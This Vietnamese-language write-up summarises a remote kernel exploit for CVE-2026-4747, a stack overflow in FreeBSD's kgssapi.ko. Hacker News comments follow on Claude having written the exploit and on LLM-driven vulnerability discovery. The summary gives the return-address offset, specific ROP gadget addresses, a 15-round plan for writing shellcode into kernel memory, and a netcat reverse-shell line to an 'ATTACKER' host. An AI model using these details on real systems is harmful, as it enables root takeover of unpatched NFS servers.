- Trong mô-đun kgssapi.ko của FreeBSD, xảy ra tràn bộ đệm ngăn xếp trong quá trình xử lý xác thực RPCSEC_GSS, cho phép thực thi mã từ xa
- Hàm
svc_rpc_gss_validate() sao chép dữ liệu thông tin xác thực mà không kiểm tra ranh giới, ghi đè cả địa chỉ trả về
- Kẻ tấn công có thể dùng vé Kerberos hợp lệ để chèn chuỗi ROP kernel qua đường dẫn RPCSEC_GSS của máy chủ NFS
- Thông qua 15 bước tràn bộ đệm, ghi 432 byte shellcode vào vùng BSS của kernel rồi thực thi, tạo reverse shell với quyền root
- Một số phiên bản FreeBSD 13.5~15.0 bị ảnh hưởng; bản vá bổ sung logic kiểm tra
oa_length
CVE-2026-4747 — Tràn bộ đệm ngăn xếp RPCSEC_GSS trong FreeBSD kgssapi.ko
- Lỗ hổng tràn bộ đệm ngăn xếp xảy ra trong quá trình xử lý xác thực RPCSEC_GSS của mô-đun kgssapi.ko trên FreeBSD
- Khi hàm
svc_rpc_gss_validate() tái tạo tiêu đề RPC vào bộ đệm ngăn xếp 128 byte, nó sao chép dữ liệu thông tin xác thực mà không kiểm tra ranh giới đối với oa_length
- Sau phần tiêu đề cố định 32 byte, thông tin xác thực vượt quá 96 byte còn lại sẽ ghi đè cả biến cục bộ, thanh ghi đã lưu và địa chỉ trả về
- Các phiên bản FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) bị ảnh hưởng
- Trong bản vá, một câu lệnh điều kiện đã được thêm vào để kiểm tra xem
oa_length có vượt quá kích thước bộ đệm trước khi sao chép hay không
Cấu trúc tràn bộ đệm và tác động
- Kết quả phân tích phần mở đầu của hàm cho thấy mảng
rpchdr nằm tại [rbp-0xc0], còn điểm bắt đầu sao chép là [rbp-0xa0]
- Từ sau 96 byte, dữ liệu sẽ lần lượt ghi đè RBX, R12~R15, RBP và địa chỉ trả về đã lưu
- Trong tấn công thực tế, do tiêu đề GSS và tay cầm ngữ cảnh 16 byte, địa chỉ trả về nằm ở byte thứ 200 của phần thân thông tin xác thực
- Mã dễ bị tấn công chỉ có thể đi tới qua đường dẫn xác thực RPCSEC_GSS của máy chủ NFS
- Kẻ tấn công phải là người dùng có vé Kerberos hợp lệ, và gây tràn bộ đệm ở bước xác thực RPCSEC_GSS (thủ tục DATA)
Thiết lập môi trường tấn công
- VM mục tiêu: FreeBSD 14.4-RELEASE amd64, bật máy chủ NFS, nạp
kgssapi.ko, chạy MIT Kerberos KDC
- Máy của kẻ tấn công: Linux, cài mô-đun Python3
gssapi và trình khách MIT Kerberos, có thể truy cập NFS (2049/TCP) và KDC (88/TCP)
- Có thể thiết lập trong nhiều môi trường hypervisor như QEMU, VMware, VirtualBox, bhyve
- Khi cấu hình Kerberos, bắt buộc phải đặt
rdns=false, dns_canonicalize_hostname=false trong krb5.conf
- Tên máy (
test) và service principal (nfs/test@TEST.LOCAL) giữa VM và phía tấn công phải khớp nhau
Cấu trúc khai thác thực thi mã kernel từ xa (RCE)
- Cuộc tấn công gồm 15 vòng tràn bộ đệm nhiều giai đoạn
- Ở mỗi vòng, tạo một ngữ cảnh Kerberos GSS mới
- Gửi gói RPCSEC_GSS DATA có kích thước vượt mức
- Ghi đè địa chỉ trả về bằng gadget ROP để ghi dữ liệu vào bộ nhớ kernel hoặc thực thi shellcode
- Gọi
kthread_exit() để kết thúc bình thường luồng NFS
- Mỗi vòng dùng chuỗi ROP khoảng 200 byte, và tổng cộng 432 byte shellcode được gửi qua 15 lần
- FreeBSD tạo 8 luồng NFS cho mỗi CPU, vì vậy cần tối thiểu 2 CPU (16 luồng)
Cấu hình chuỗi ROP
- Các gadget ROP chính:
pop rdi; ret (K+0x1adcda)
pop rsi; ret (K+0x1cdf98)
pop rdx; ret (K+0x5fa429)
pop rax; ret (K+0x400cb4)
mov [rdi], rax; ret (0xffffffff80e3457c) — ghi tùy ý 8 byte vào bộ nhớ kernel
- Vòng 1: gọi
pmap_change_prot() để đổi vùng BSS của kernel sang RWX
- Vòng 2–14: dùng gadget
mov [rdi], rax để ghi shellcode vào BSS, mỗi lần 32 byte
- Vòng 15: ghi 16 byte cuối cùng rồi nhảy tới điểm vào của shellcode
Hoạt động của shellcode
- Chạy ở chế độ kernel (CPL 0) và tạo tiến trình reverse shell với quyền root
- Do không thể gọi trực tiếp
execve() từ luồng kernel NFS, khai thác dùng cấu trúc 2 giai đoạn
- Hàm Entry: tạo tiến trình kernel mới bằng
kproc_create() rồi thoát
- Hàm Worker: thực thi
/bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"
- Khởi tạo thanh ghi
DR7 để tránh ngoại lệ debug
- Xóa cờ
P_KPROC để fork_exit() đi theo đường userret thay vì kthread_exit()
- Kết quả là
/bin/sh được chạy ở chế độ người dùng với quyền uid 0(root)
Quá trình xử lý các vấn đề chính
- Lệch offset thanh ghi: xác nhận offset RIP thực tế là 200 byte bằng mẫu De Bruijn
- Không tương thích GSS giữa MIT–Heimdal: giải quyết vấn đề chuẩn hóa hostname bằng cấu hình
krb5.conf
- Kế thừa thanh ghi debug: khởi tạo
DR7 để tránh ngoại lệ trap 1
- Giới hạn 400 byte: dùng tổ hợp
pop rdi + pop rax + mov [rdi], rax để truyền ổn định theo đơn vị 8 byte
- Cạn luồng NFS: mỗi vòng kết thúc 1 luồng → cần tối thiểu 2 CPU
Tóm tắt luồng khai thác cuối cùng
- Kẻ tấn công lấy vé Kerberos rồi lần lượt gửi 15 gói tràn bộ đệm RPCSEC_GSS
- Vòng 1: đặt BSS thành RWX
- Vòng 2–14: ghi 416 byte shellcode
- Vòng 15: ghi 16 byte cuối cùng và thực thi shellcode
- Shellcode tạo tiến trình mới bằng
kproc_create() và chạy /bin/sh
- Từ phiên
nc phía kẻ tấn công có thể giành được shell root
- Toàn bộ quá trình mất khoảng 45 giây, hoàn tất với tổng cộng 15 gói RPC
1 bình luận
Ý kiến trên Hacker News
Điểm cốt lõi là Claude không trực tiếp tự tìm ra lỗi, mà đã nhận báo cáo CVE đã được công bố sẵn và viết chương trình khai thác lỗ hổng đó
Tuy nhiên, với tốc độ phát triển hiện tại, có lẽ sẽ không còn xa thời điểm các mô hình như Claude có thể phân tích mã nguồn của kernel hoặc các dịch vụ cốt lõi, rồi thông qua thử nghiệm lặp lại trong VM để tự động tìm ra CVE mới
Trước đây chi phí để tìm CVE quá cao, nên chủ yếu chỉ những kẻ tấn công nhắm đến lợi ích tài chính mới thử làm
Giờ chi phí đã thấp hơn, nên cả các nhà nghiên cứu thiện chí cũng có thể dễ dàng phát hiện, tạo ra môi trường có thể vá lỗi trước khi bị khai thác
Giờ thì các mô hình như Claude Code có thể phân tích codebase để đề xuất nên fuzz test chỗ nào và bằng cách nào, rồi xem xét crash và học lặp lại để tìm ra CVE
Nicholas Carlini đã dùng Claude tại Anthropic để tìm ra nó, và kết quả đó đã dẫn đến việc viết báo cáo CVE
Với kiểu fuzzing tự động này thì LLM khá phù hợp
Claude đã có thể tìm CVE ở mức độ chuyên gia
Công ty Calif của Thai Duong đã đăng bài blog tổng hợp trường hợp này
Trong đó có cả prompt đã dùng, và lỗi này cũng là do Claude phát hiện thông qua Nicholas Carlini
FreeBSD 14.x không có KASLR (kernel address space layout randomization) hay stack canary, nên việc tấn công khá dễ
Tôi tò mò không biết ở FreeBSD 15.x điều này có được cải thiện không
Tham khảo thêm, NetBSD đã có tính năng KASLR
Có thể kiểm tra bằng
sysctl kern.elf64.aslr.enable: 1Theo bài viết trên diễn đàn liên quan, có quan điểm cho rằng KASLR chỉ tạo cảm giác an toàn còn mức tăng cường bảo mật thực tế là rất nhỏ
Xem bài trình bày “Black-Hat LLMs” được công bố gần đây thì có thể thấy LLM đang ngày càng thành thạo trong việc tìm lỗ hổng và exploit
Ngay từ khi Sam Altman đăng tweet vào tháng 12 năm ngoái về việc tuyển Head of Preparedness, đã có dấu hiệu rồi
Điều khó nhất là tìm ra lỗ hổng, chứ không phải sửa nó
Phần lớn các nhà nghiên cứu bảo mật không công khai lỗ hổng vì lý do tài chính
Vì vậy nếu việc phát hiện tự động trở nên khả thi thì dù nguy hiểm, về dài hạn sẽ là lợi ích lớn
Nếu không, nó có thể trở thành gánh nặng khác cho các nhà phát triển mã nguồn mở
Giống như tranh cãi về bản vá bảo mật giữa Google và FFmpeg trước đây
Cảm ơn vì đã chia sẻ bộ prompt công khai
Với đội phát triển thì kiểu tự động hóa này có thể là tiết kiệm thời gian, nhưng với người dùng phổ thông thì có thể không mang lại nhiều giá trị
Dạo này bug kernel vốn dĩ đã không còn được tìm thủ công
Thế mà mọi người chỉ nói về Claude thì rốt cuộc có vẻ là do hiệu ứng quảng bá của Anthropic
Giờ điều cần chú ý không còn là chuyện “Claude đã viết code” nữa, mà là chất lượng và khả năng bảo trì của đoạn code đó ra sao
Tôi tò mò không biết code do Claude viết có thực sự có cấu trúc để bảo trì được hay chỉ là một mớ hỗn độn
Những trường hợp như thế này cho thấy mức độ tự chủ và sức mạnh của agent
Đồng thời cũng là ví dụ cho thấy sự bất an về kiểm soát và nhu cầu quản trị mà các doanh nghiệp đang cảm nhận
Có thể xem toàn bộ lịch sử prompt nên khá thú vị